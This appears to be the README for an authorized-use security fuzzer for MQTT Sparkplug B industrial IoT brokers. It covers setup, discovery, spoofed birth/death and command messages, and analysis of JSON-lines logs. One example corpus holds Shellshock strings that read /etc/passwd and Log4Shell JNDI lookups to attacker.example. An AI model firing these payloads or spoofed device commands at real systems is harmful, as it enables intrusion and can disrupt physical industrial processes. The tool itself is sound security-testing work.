
Fuzzer for the Sparkplug B IIoT protocol
Uma ferramenta abrangente de avaliação de segurança para testar implementações do protocolo MQTT Sparkplug B. O fuzzer testa sistematicamente todos os campos do protocolo em todos os 9 tipos de mensagem, descobre dispositivos ativos na rede e produz registos detalhados para análise.
Esta ferramenta envia mensagens MQTT malformadas, de injeção e que violam o protocolo para um broker alvo. Execute-a apenas contra sistemas que lhe pertencem ou para os quais tem autorização explícita por escrito para testar. Brokers Sparkplug B normalmente estão em ambientes OT/ICS onde cargas úteis inesperadas podem interromper processos físicos — assuma que cada alvo está adjacente à produção, salvo prova em contrário.
Se descobrir uma vulnerabilidade numa implementação do Sparkplug B usando esta ferramenta, siga a divulgação coordenada com o fornecedor afetado. Para reportar um problema de segurança nesta própria ferramenta, consulte SECURITY.md.
A especificação Sparkplug B define um espaço de nomes de tópicos e um formato de carga útil baseado em MQTT e Google Protocol Buffers para ambientes de IIoT (Internet Industrial das Coisas). Este fuzzer avalia a segurança e robustez de implementações do Sparkplug B através de:
Em sistemas Debian/Ubuntu/Kali modernos (sistemas PEP-668), --setup não pode executar pip install no Python do sistema — use um ambiente virtual ou pipx primeiro. O caminho recomendado:```bash
python3 -m venv .venv
source .venv/bin/activate
python3 sparkplug-fuzzer.py --setup
Ou execute via `pipx run` se preferir não gerenciar o venv manualmente. Em sistemas mais antigos sem a imposição do PEP-668, o comando `python3 sparkplug-fuzzer.py --setup` funciona diretamente.
O `--setup` irá:
1. Instalar dependências pip (`paho-mqtt`, `protobuf`)
2. Clonar uma tag fixada do repositório [Eclipse Tahu](https://github.com/eclipse/tahu) (veja `TAHU_REF` no script)
3. Copiar os módulos auxiliares `sparkplug_b.py` e `array_packer.py`
4. Compilar `sparkplug_b.proto` para bindings Python (usa `protoc` se disponível, caso contrário recorre ao `grpcio-tools`)
5. Limpar o clone do Tahu
Após a configuração, seu diretório deve conter:```
sparkplug-fuzzer.py # The fuzzer
sparkplug_b.py # Sparkplug B helper module (from Tahu)
array_packer.py # Array packing helper (from Tahu)
sparkplug_b_pb2.py # Generated protobuf bindings
requirements.txt # Python dependencies
python3 sparkplug-fuzzer.py --setup # first-time setup python3 sparkplug-fuzzer.py -H localhost -p 1883 -v # run fuzzer
Isto irá:
1. Conectar-se ao broker em `localhost:1883`
2. Ouvir por 10 segundos para descobrir dispositivos Sparkplug existentes
3. Estabelecer o fuzzer como um nó/dispositivo Sparkplug
4. Executar todas as 12 categorias de fuzz (~635+ casos de teste)
5. Visar quaisquer dispositivos descobertos com mensagens falsificadas
6. Escrever resultados em `sparkplug_fuzz.jsonl`
## Uso
### Opções da Linha de Comando```
python3 sparkplug-fuzzer.py [OPTIONS]
Executar todas as categorias com autenticação:```bash python3 sparkplug-fuzzer.py -H 10.0.1.30 -p 1883 -u admin -P secret -v
**Passe credenciais sem expô-las em `ps`:**```bash
# Via environment
MQTT_USERNAME=admin MQTT_PASSWORD=secret python3 sparkplug-fuzzer.py -H broker.local
# Or read password from stdin (getpass — no echo)
python3 sparkplug-fuzzer.py -H broker.local -u admin -P -
Conectar via TLS:```bash
python3 sparkplug-fuzzer.py -H broker.example.com --tls -v
python3 sparkplug-fuzzer.py -H broker.example.com --tls --cafile ./ca.pem -v
**Avaliação passiva de autenticação + sonda de escrita ativa:**```bash
python3 sparkplug-fuzzer.py -H 10.0.1.30 --probe-anon-write -v
Execute apenas categorias relacionadas a injeção:```bash python3 sparkplug-fuzzer.py -H broker.local -c string type_mismatch malformed
**Descoberta estendida com ritmo lento (minimizar carga do broker):**```bash
python3 sparkplug-fuzzer.py -H 192.168.1.100 --discovery-time 60 --delay 0.5
Identidade personalizada de grupo/nó e arquivo de log:```bash
python3 sparkplug-fuzzer.py -H broker.local
-g "Production Floor" -n "TestNode01" -d "TestDevice01"
-l production_fuzz_results.jsonl -vv
**Monitore o tráfego do broker em um terminal separado:**```bash
mosquitto_sub -h <broker_host> -p 1883 -t 'spBv1.0/#' -F '%I %t %x'
Configuração air-gapped com um repositório Tahu pré-clonado:```bash git clone https://github.com/eclipse/tahu.git ~/tahu # on a connected box
python3 sparkplug-fuzzer.py --setup --tahu-path ~/tahu
**Layout de saída por execução:**```bash
# Default — directory is auto-named under ./sparkplug-runs/
python3 sparkplug-fuzzer.py -H broker.local
# -> creates ./sparkplug-runs/2026-05-05_1830_broker.local/sparkplug_fuzz.jsonl
# Explicit directory:
python3 sparkplug-fuzzer.py -H broker.local --output-dir ./fuzz-runs/acme-2026Q2
Os STRING_FUZZ_VALUES incorporados cobrem as categorias clássicas de injeção (strings vazias / enormes, bytes nulos, strings de formato, XSS, SQLi, path traversal, prototype pollution). Engajamentos reais frequentemente precisam de payloads de segunda ordem direcionados a quem consome os dados do broker a jusante — historiadores que canalizam nomes de métricas através de shell, hosts SCADA baseados em Java que alimentam valores no log4j, dashboards que renderizam nomes de tags em HTML, etc.
A flag --extra-string-payloads <FILE> anexa um corpus adicional aos incorporados. O formato é um payload por linha, UTF-8. Linhas com apenas espaços em branco são mantidas (muitas vezes intencionais em fuzzing); linhas totalmente em branco são descartadas. A flag adiciona à lista incorporada em vez de substituí-la, então a cobertura existente é preservada.```bash
cat > corpus.txt <<'EOF' () { :;}; /bin/cat /etc/passwd () { :; }; echo VULN ${jndi:ldap://attacker.example/x} ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.example/x} ${${lower:jndi}:ldap://attacker.example/x} EOF
python3 sparkplug-fuzzer.py -H broker.local --extra-string-payloads corpus.txt -v
O fuzzer imprime `[+] Extra string payloads: loaded N from <path>` na inicialização, e cada payload é emitida através de todos os lugares que iteram `STRING_FUZZ_VALUES` — principalmente a categoria `string`, mas também os casos de tipos de string do gerador de incompatibilidade de tipos.
Limites fixos: 10 MB de tamanho de arquivo, 10.000 payloads. Ajuste `MAX_EXTRA_PAYLOADS_FILE_SIZE` / `MAX_EXTRA_PAYLOADS_COUNT` no topo do script se precisar de mais (e tiver orçamento de tempo de execução compatível).
## v0.2 release notes
- Sinalizador `--output-dir` mais padrão `./sparkplug-runs/<UTC-ts>_<host>/` criado automaticamente — cada execução cai em seu próprio diretório para que artefatos não colidam entre execuções.
- Sinalizador `--tahu-path` para `--setup` — aponta para um clone local de `eclipse/tahu` para ambientes de teste isolados onde `git clone` de saída é bloqueado. A fonte local nunca é excluída na limpeza.
- Carimbos de data/hora do console + JSONL forçados para UTC com sufixo `Z` explícito para que a correlação cruzada com logs do broker seja livre de aritmética de fuso horário.
- Logger `paho.mqtt` limitado a WARNING por padrão; visível em INFO com `-v`, DEBUG com `-vv`. A telemetria do cliente por pacote não afoga mais o sinal de fuzz.
- Test harness pytest em `tests/` — 23 testes cobrindo FuzzLogger, auxiliar de tópico, resolução de caminho de saída e validação de `--tahu-path`. Veja [Running the tests](#running-the-tests).
## Running the tests
O test harness cobre a superfície independente de rede (correção do logger, construtor de tópicos, resolução de caminho de saída, análise de `--tahu-path`) e é executado sem um broker, paho-mqtt ou protobuf instalados.```bash
pip install -r requirements-dev.txt
pytest tests/
Esperado: 23 passed. Caminhos dependentes da rede (protobuf do PayloadBuilder, fuzz publishers, ciclo de vida MQTT) são deliberadamente adiados para uma futura camada de teste de integração com um broker conteinerizado.
### Descoberta de Rede
Durante a fase de descoberta, o fuzzer assina `spBv1.0/#` e escuta todo o tráfego Sparkplug. O componente `DeviceTracker` analisa as mensagens observadas para construir um mapa de rede ativo:
- Mensagens **NBIRTH** revelam nós de borda e suas definições de métricas (nome, alias, tipo de dado)
- Mensagens **DBIRTH** revelam dispositivos e seus esquemas de métricas
- Mensagens **NDEATH/DDEATH** rastreiam o estado do ciclo de vida do nó/dispositivo
- Mensagens **STATE** revelam aplicações host e seu status online/offline
Este mapa é usado na fase de fuzzing direcionado para enviar ataques contextualmente relevantes contra dispositivos reais com seus esquemas de métricas reais.
### Avaliação de Autenticação
Quando o fuzzer se conecta sem `-u/-P` (e `MQTT_USERNAME`/`MQTT_PASSWORD` não estão definidos), ele deriva uma postura de autenticação do broker apenas a partir da descoberta passiva. Isso produz um único evento `AUTH_ASSESSMENT` no log e um resumo impresso:
| Sinal | O que significa | Como é derivado |
|---|---|---|
| `anon_connect_accepted` | Broker aceitou CONNECT sem credenciais | O próprio CONNECT do fuzzer foi bem-sucedido |
| `anon_subscribe_accepted` | Broker encaminha `spBv1.0/#` / `STATE/#` para clientes anônimos | Pelo menos uma mensagem RX chegou durante a janela de escuta |
| `anon_publish_accepted` | Broker aceita PUBLISH de clientes anônimos | Definido apenas se `--probe-anon-write` for passado; sonda QoS=1 + espera por PUBACK |
| `unauth_endpoints` | Nós / dispositivos / aplicações host observáveis sem autenticação | Cada entidade no mapa de rede descoberto (autenticação nunca foi produzida) |
A sonda QoS=1 é opt-in porque ela passa de passiva para ativa. Com QoS=0 o broker descarta silenciosamente mensagens que negaria, então confirmar aceitação de escrita requer a leitura de um PUBACK.
MQTT/Sparkplug não possuem autenticação por endpoint — a autenticação é uma preocupação no nível do broker. Portanto, "endpoints observáveis sem autenticação" é relatado como uma lista de *alvos alcançáveis a custo zero*, em vez de uma propriedade dos próprios endpoints.
### Fuzzing Direcionado
Após o fuzzing sistemático, a ferramenta direciona cada dispositivo descoberto com:
1. **Avisos de falecimento falsificados** — publica NDEATH/DDEATH para enganar assinantes fazendo-os pensar que os dispositivos ficaram offline
2. **Certidões de nascimento falsificadas** — publica NBIRTH/DBIRTH para se passar por nós/dispositivos descobertos
3. **Injeção de comandos** — envia mensagens NCMD/DCMD com valores limite para cada métrica conhecida, testando se o alvo valida comandos de entrada
4. **Comandos de renascimento** — envia comando `Node Control/Rebirth` NCMD para forçar os dispositivos a republicarem seus nascimentos
## Saída e Análise de Log
### Formato do Log
O arquivo de log usa o formato JSON-lines (`.jsonl`) — um objeto JSON por linha, adequado para análise com `jq`, Python ou qualquer ferramenta compatível com JSON.
Payloads maiores que 64 KiB não são hex-inline; em vez disso, `payload_hex` carrega `sha256:<digest>+len=<n>` para que o log permaneça limitado para casos de fuzz muito grandes. `payload_len` está sempre presente.
**Registro TX** (mensagem de fuzz de saída):```json
{
"ts": "2026-04-10T15:30:00.123456Z",
"dir": "TX",
"case_id": "BOUNDARY-0042",
"category": "boundary",
"topic": "spBv1.0/Sparkplug B Devices/DDATA/FuzzNode/FuzzDevice",
"payload_hex": "0800120a0a06...",
"payload_len": 28,
"payload_decoded": {"timestamp": 1712345678000, "metrics": [{"name": "fuzz/boundary/Int32", "datatype": 3, "int_value": 2147483647}]},
"description": "Boundary Int32 = 2147483647 (int_value)"
}
Registro RX (mensagem de entrada da rede):```json { "ts": "2026-04-10T15:30:01.456789Z", "dir": "RX", "topic": "spBv1.0/Production/NBIRTH/PLC01", "payload_hex": "0800120f...", "payload_len": 156, "payload_decoded": {"timestamp": 1712345679000, "metrics": [{"name": "Node Control/Rebirth", "datatype": 11, "boolean_value": false}]} }
**Registro de evento** (evento do sistema):```json
{
"ts": "2026-04-10T15:29:50.000000Z",
"dir": "EVENT",
"event": "DISCOVERY_COMPLETE",
"details": {"groups": ["Production"], "node_count": 3, "device_count": 7, "targets": 10}
}
Contar casos por categoria:```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.category' | sort | uniq -c | sort -rn
**Extraia todos os casos de injeção de string:**```bash
jq 'select(.category == "string")' sparkplug_fuzz.jsonl
Listar todos os dispositivos descobertos:```bash jq 'select(.event == "DISCOVERY_COMPLETE")' sparkplug_fuzz.jsonl
**Encontre casos que acionaram desconexões do broker:**```bash
jq 'select(.event == "UNEXPECTED_DISCONNECT" or .event == "RECONNECT_FAIL")' sparkplug_fuzz.jsonl
Extrair a avaliação de autenticação:```bash jq 'select(.event == "AUTH_ASSESSMENT")' sparkplug_fuzz.jsonl
**Liste endpoints acessíveis sem autenticação:**```bash
jq -r 'select(.event == "AUTH_ASSESSMENT") | .details.unauth_endpoints[] | [.kind, .group, .node, .device, .host_id, .status] | @tsv' sparkplug_fuzz.jsonl
Obter contagem de TX ao longo do tempo (para análise de taxa):```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.ts[:19]' | uniq -c
**Exportar todos os tópicos que foram publicados para:**```bash
jq -r 'select(.dir == "TX") | .topic' sparkplug_fuzz.jsonl | sort -u
Analisar com Python:```python import json
with open("sparkplug_fuzz.jsonl") as f: records = [json.loads(line) for line in f]
tx = [r for r in records if r["dir"] == "TX"] rx = [r for r in records if r["dir"] == "RX"] events = [r for r in records if r["dir"] == "EVENT"]
print(f"Total TX: {len(tx)}, RX: {len(rx)}, Events: {len(events)}")
errors = [r for r in rx if "_decode_error" in str(r.get("payload_decoded", {}))] print(f"Decode errors in RX: {len(errors)}")
## Cobertura de Protocolo
### Tipos de Mensagem
Todos os 9 tipos de mensagem Sparkplug B são testados:
| Tipo de Mensagem | Padrão de Tópico | Descrição | Uso do Fuzzer |
|---|---|---|---|
| NBIRTH | `spBv1.0/{group}/NBIRTH/{node}` | Certificado de nascimento do nó | Estabelece presença do fuzzer; falsificado para nós descobertos; testes de ordenação |
| NDEATH | `spBv1.0/{group}/NDEATH/{node}` | Notificação de morte do nó | Última vontade MQTT; falsificado para nós descobertos; testes de ordenação |
| DBIRTH | `spBv1.0/{group}/DBIRTH/{node}/{device}` | Certificado de nascimento do dispositivo | Estabelece dispositivo do fuzzer; falsificado para dispositivos descobertos; testes de ordenação |
| DDEATH | `spBv1.0/{group}/DDEATH/{node}/{device}` | Notificação de morte do dispositivo | Falsificado para dispositivos descobertos; testes de ordenação; testes de órfãos |
| NDATA | `spBv1.0/{group}/NDATA/{node}` | Atualização de dados do nó | Valores limite; números de sequência; testes de ordenação |
| DDATA | `spBv1.0/{group}/DDATA/{node}/{device}` | Atualização de dados do dispositivo | Meio principal para a maioria das categorias de fuzzing |
| NCMD | `spBv1.0/{group}/NCMD/{node}` | Comando do nó | Fuzzing direcionado (comandos de renascimento); testes de órfãos |
| DCMD | `spBv1.0/{group}/DCMD/{node}/{device}` | Comando do dispositivo | Fuzzing direcionado contra métricas de dispositivos descobertos; testes de órfãos |
| STATE | `STATE/{host_id}` | Estado da aplicação hospedeira (JSON) | Injeção de JSON malformado |
### Tipos de Dados
Todos os 19 tipos de dados métricos Sparkplug B são testados com valores limite específicos para cada tipo:
| Código | Tipo | Campo Protobuf | Valores Limite Testados |
|------|------|---------------|----------------------|
| 1 | Int8 | int_value | 0, -128, 127, 128 (estouro), -129 (subfluxo) |
| 2 | Int16 | int_value | 0, -32768, 32767, estouro/subfluxo |
| 3 | Int32 | int_value | 0, -2^31, 2^31-1, estouro/subfluxo |
| 4 | Int64 | long_value | 0, -2^63, 2^63-1, estouro |
| 5 | UInt8 | int_value | 0, 255, 256, -1 |
| 6 | UInt16 | int_value | 0, 65535, 65536, -1 |
| 7 | UInt32 | int_value | 0, 4294967295, -1 |
| 8 | UInt64 | long_value | 0, 2^64-1, -1 |
| 9 | Float | float_value | 0.0, -0.0, max, min, inf, -inf, NaN |
| 10 | Double | double_value | 0.0, -0.0, max, min, inf, -inf, NaN |
| 11 | Booleano | boolean_value | True, False; também testado com valores inteiros brutos (0, 1, 2, 255) |
| 12 | String | string_value | Vazio, longo (até 64KB), cargas de injeção |
| 13 | DateTime | long_value | Epoch, max, futuro/passado distante |
| 14 | Texto | string_value | Mesmas cargas de injeção que String |
| 15 | UUID | string_value | Vazio, válido, formato inválido, injeções |
| 16 | DataSet | dataset_value | Violações estruturais via categoria de dataset |
| 17 | Bytes | bytes_value | Vazio, bytes nulos, aleatório, grande |
| 18 | Arquivo | bytes_value | Vazio, bytes mágicos, grande |
| 19 | Template | template_value | Referências indefinidas, templates órfãos |
### Cobertura de Campos
O fuzzer cobre mais de 87 caminhos de campos protobuf únicos, incluindo:
- **Campos raiz do payload**: timestamp, seq, uuid, body, metrics
- **Campos de métrica**: name, alias, timestamp, datatype, is_historical, is_transient, is_null, metadata, properties, e todas as variantes oneof de value
- **Campos de MetaData**: is_multi_part, content_type, size, seq, file_name, file_type, md5, description
- **PropertySet/PropertyValue**: keys, values, type, is_null, propertyset_value recursivo, propertysets_value
- **DataSet**: num_of_columns, columns, types, rows, elements, todas as variantes de DataSetValue
- **Template**: version, template_ref, is_definition, métricas aninhadas, parameters
## Arquitetura
O fuzzer é um único arquivo Python organizado nestes componentes:```
sparkplug-fuzzer.py
|
+-- Constants / ALL_METRIC_TYPES / STRING_FUZZ_VALUES
| Type definitions and fuzz value tables
|
+-- FuzzLogger
| JSON-lines file logging + console output
| Protobuf payload decoding
|
+-- DeviceTracker
| Passive network discovery
| Tracks groups, nodes, devices, metrics
|
+-- PayloadBuilder
| Valid payload construction (sparkplug_b helpers)
| Raw payload construction (sparkplug_b_pb2 direct)
| Binary corruption (truncate, flip, append)
|
+-- 12 Fuzz Generators
| Each is a Python generator yielding (topic, bytes, desc)
| Covers boundary, string, type, seq, timestamp, alias,
| orphan, ordering, recursive, dataset, malformed, topic
|
+-- SparkplugFuzzer
| Orchestration: connect, discover, fuzz, target, report
| Centralized publish with logging
| Auto-reconnect on disconnect
|
+-- CLI (argparse) + main()
Argument parsing and entry point
A construção de payload em dois níveis é uma decisão de design fundamental:
PayloadBuilder.node_birth(), etc.) utiliza funções auxiliares sparkplug_b para construir payloads válidos e bem-formados. Usado para estabelecer presença e falsificação direcionada.PayloadBuilder.raw_payload(), corrupt_bytes()) manipula diretamente objetos protobuf sparkplug_b_pb2 ou bytes brutos, ignorando a validação. Usado para payloads intencionalmente malformados que testam o tratamento de erros e casos extremos do parser.Este projeto é licenciado sob a Licença MIT — veja LICENSE para o texto completo.
sparkplug-fuzzer.py --setup baixa os seguintes componentes do Eclipse Tahu no momento da instalação e os copia para o diretório de trabalho:
sparkplug_b.py — Módulo auxiliar do Sparkplug Barray_packer.py — Auxiliar de empacotamento de arrayssparkplug_b.proto — Definição de Protocol Buffer (usado para gerar sparkplug_b_pb2.py)O Eclipse Tahu é distribuído sob a Licença Apache, Versão 2.0. Nenhum dos arquivos fonte do Tahu é redistribuído neste repositório. Veja NOTICE para a atribuição completa.
| Opção | Padrão | Descrição |
|---|
-H, --host | localhost | Nome do host ou IP do broker MQTT |
-p, --port | 1883 (ou 8883 com --tls) | Porta do broker MQTT |
-u, --username | None | Nome de usuário MQTT (também lê a variável de ambiente MQTT_USERNAME) |
-P, --password | None | Senha MQTT (também lê MQTT_PASSWORD; passe - para ler do stdin sem eco) |
--tls | off | Conectar via TLS; a porta padrão se torna 8883 se -p não for definido |
--cafile | None | Pacote CA para verificação do certificado do servidor TLS |
--insecure | off | Pular verificação de hostname/certificado TLS (apenas para teste) |
-g, --group | Sparkplug B Devices | ID do grupo Sparkplug sob o qual o fuzzer se registra |
-n, --node | FuzzNode | ID do nó de borda Sparkplug para o fuzzer |
-d, --device | FuzzDevice | ID do dispositivo Sparkplug para o fuzzer |
-c, --categories | all | Lista separada por espaços das categorias de fuzz a executar |
--discovery-time | 10 | Segundos para escutar passivamente a descoberta de rede |
--delay | 0.1 | Atraso em segundos entre mensagens de fuzz |
--probe-anon-write | off | Durante a descoberta, enviar uma publicação QoS=1 para confirmar se o broker aceita PUBLISH não autenticado |
-l, --log | sparkplug_fuzz.jsonl | Nome do arquivo de log de saída (caminhos relativos ficam dentro de --output-dir; caminhos absolutos são mantidos como estão) |
--output-dir | ./sparkplug-runs/<UTC-ts>_<host>/ | Diretório de saída por execução. Criado se ausente. |
-v, --verbose | 0 | Aumentar a verbosidade do console (-v = info, -vv = debug). -vv também mostra pulos do gerador de fuzz, e o logger paho.mqtt com limitação sobe para INFO/DEBUG com verbosidade. |
--setup | — | Instalar todas as dependências e sair |
--tahu-path | — | Caminho para um clone local de eclipse/tahu (ou seu diretório python/core). Usado por --setup em ambientes sem rede em vez de git clone. |
--extra-string-payloads | — | Caminho para um arquivo de payloads adicionais de injeção de string (um por linha, UTF-8). Anexado à STRING_FUZZ_VALUES incorporada; não a substitui. Máx. 10 MB / 10.000 payloads. Veja Corpora de string personalizados. |
| Categoria | Descrição | Casos Aprox. |
|---|
boundary | Mín/máx/estouro para todos os 19 tipos de dados numéricos, is_null com valores, combinações de flags | ~200 |
string | Payloads de injeção (XSS, SQLi, strings de formato, travessia de caminho, injeção de comando, bytes nulos) em campos String, Text, UUID, MetaData e mensagens STATE | ~100 |
type_mismatch | Tipo de dado declarado vs campo de valor protobuf errado, códigos de tipo inválidos, múltiplos campos oneof | ~150 |
sequence | Lacunas de sequência, duplicatas, ordem inversa, reinicialização, incompatibilidade bdSeq entre NBIRTH/NDEATH | ~20 |
timestamp | Zero, uint64 máximo, futuro/passado distante, inconsistência de timestamp entre métrica e payload, extremos de DateTime | ~15 |
alias | Aliases duplicados para métricas diferentes, valores de alias extremos, aliases não definidos em mensagens de dados | ~15 |
orphan | Dados/comandos direcionados a dispositivos, nós, grupos inexistentes; referências de template indefinidas | ~20 |
ordering | Violações de estado do protocolo: dados antes do birth, births duplicados, dados após death, ordem de birth errada | ~15 |
recursive | Cadeias aninhadas de PropertySet (profundidade 1-100), incompatibilidade de comprimento chave/valor, variações de PropertySetList | ~15 |
dataset | Incompatibilidade de contagem de colunas, incompatibilidade de elementos de linha, violações de tipo, conjuntos de dados vazios/enormes, caracteres especiais em nomes de colunas | ~25 |
malformed | Corrupção de protobuf binário: truncamento, inversão de bits, bytes aleatórios, varints excessivamente longos, classes de mensagem erradas | ~30 |
topic | Variações de maiúsculas/minúsculas, versões erradas, barras extras/faltando, caracteres especiais, curingas em strings de tópico | ~30 |